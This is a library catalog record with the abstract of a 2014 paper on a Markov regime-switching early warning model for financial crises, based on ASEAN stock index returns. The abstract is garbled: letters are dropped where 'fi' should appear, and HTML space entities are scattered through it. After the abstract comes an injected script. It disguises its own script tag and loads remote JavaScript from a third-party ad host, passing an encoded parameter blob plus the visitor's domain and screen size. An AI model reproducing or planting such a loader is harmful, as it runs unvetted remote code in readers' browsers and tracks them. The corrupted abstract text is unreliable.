Early Warning System in ASEAN Countries Using Capital Market Index Return: Modiied Markov Regime Switching Model

• Main Authors: Imam Wahyudi, Rizky Luxianto, Niken Iwani Suryaputri, Liyu Adhika Sari Sulung
• Format: Article
• Language: English
• Published: Universitas Indonesia 2014-08-01
• Series: Indonesian Capital Market Review
• Online Access: http://journal.ui.ac.id/index.php/icmr/article/view/3623

Asia's &nbsp;inancial &nbsp;crisis &nbsp;in &nbsp;July &nbsp;1997 &nbsp;affects &nbsp;currency, &nbsp;capital &nbsp;market, &nbsp;and &nbsp;real &nbsp;market&nbsp;throughout &nbsp;Asian &nbsp;countries. &nbsp;Countries &nbsp;in &nbsp;southeast &nbsp;region &nbsp;(ASEAN), &nbsp;including &nbsp;Indonesia,&nbsp;Malaysia, Philippines, Singapore, and Thailand, are some of the countries where the crisis&nbsp;hit &nbsp;the &nbsp;most. &nbsp;In &nbsp;these &nbsp;countries, &nbsp;where &nbsp;inancial &nbsp;sectors &nbsp;are &nbsp;far &nbsp;more &nbsp;developed &nbsp;than &nbsp;real&nbsp;sectors &nbsp;and &nbsp;the &nbsp;money &nbsp;market &nbsp;sectors, &nbsp;most &nbsp;of &nbsp;the &nbsp;economic &nbsp;activities &nbsp;are &nbsp;conducted &nbsp;in&nbsp;capital &nbsp;market. &nbsp;Movement &nbsp;in &nbsp;the &nbsp;capital &nbsp;market &nbsp;could &nbsp;be &nbsp;a &nbsp;proxy &nbsp;to &nbsp;describe &nbsp;the &nbsp;overall&nbsp;economic &nbsp;situation &nbsp;and &nbsp;therefore &nbsp;the &nbsp;prediction &nbsp;of &nbsp;it &nbsp;could &nbsp;be &nbsp;an &nbsp;early &nbsp;warning &nbsp;system &nbsp;of&nbsp;economic crises. This paper tries to investigate movement in ASEAN (Indonesia, Malaysia,&nbsp;Philippines, &nbsp;Singapore, &nbsp;and &nbsp;Thailand) &nbsp;capital &nbsp;market &nbsp;to &nbsp;build &nbsp;an &nbsp;early &nbsp;warning &nbsp;system&nbsp;from inancial sectors perspective. This paper will be very beneicial for the government to&nbsp;anticipate the forthcoming crisis. The insight of this paper is from Hamilton (1990) model&nbsp;of regime switching process in which he divide the movement of currency into two regimes,&nbsp;describe the switching transition based on Markov process and creates different model for&nbsp;each regimes. Differ from Hamilton, our research focuses on index return instead of currency&nbsp;to &nbsp;model &nbsp;the &nbsp;regime &nbsp;switching. &nbsp;This &nbsp;research &nbsp;aimed &nbsp;to &nbsp;ind &nbsp;the &nbsp;probability &nbsp;of &nbsp;crisis &nbsp;in &nbsp;the&nbsp;future by combining the probability of switching and the probability distribution function of&nbsp;each &nbsp;regime. &nbsp;Probability &nbsp;of &nbsp;switching &nbsp;is &nbsp;estimated &nbsp;by &nbsp;categorizing &nbsp;the &nbsp;movement &nbsp;in &nbsp;index&nbsp;return &nbsp;into &nbsp;two &nbsp;regimes &nbsp;(negative &nbsp;return &nbsp;in &nbsp;regime &nbsp;1 &nbsp;and &nbsp;positive &nbsp;return &nbsp;in &nbsp;regime &nbsp;2) &nbsp;then&nbsp;measuring &nbsp;the &nbsp;proportion &nbsp;of &nbsp;switching &nbsp;to &nbsp;regime &nbsp;1 &nbsp;in &nbsp;t &nbsp;given &nbsp;regime &nbsp;1 &nbsp;in &nbsp;t-1 &nbsp;(P11) &nbsp;and &nbsp;to&nbsp;regime 2 in t given regime 2 in t-1 (P22). The probability distribution function of each regime&nbsp;is modeled using t-student distribution. This paper is able to give signal of the 1997/8 crisis&nbsp;few periods prior the crisis.<br /> <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>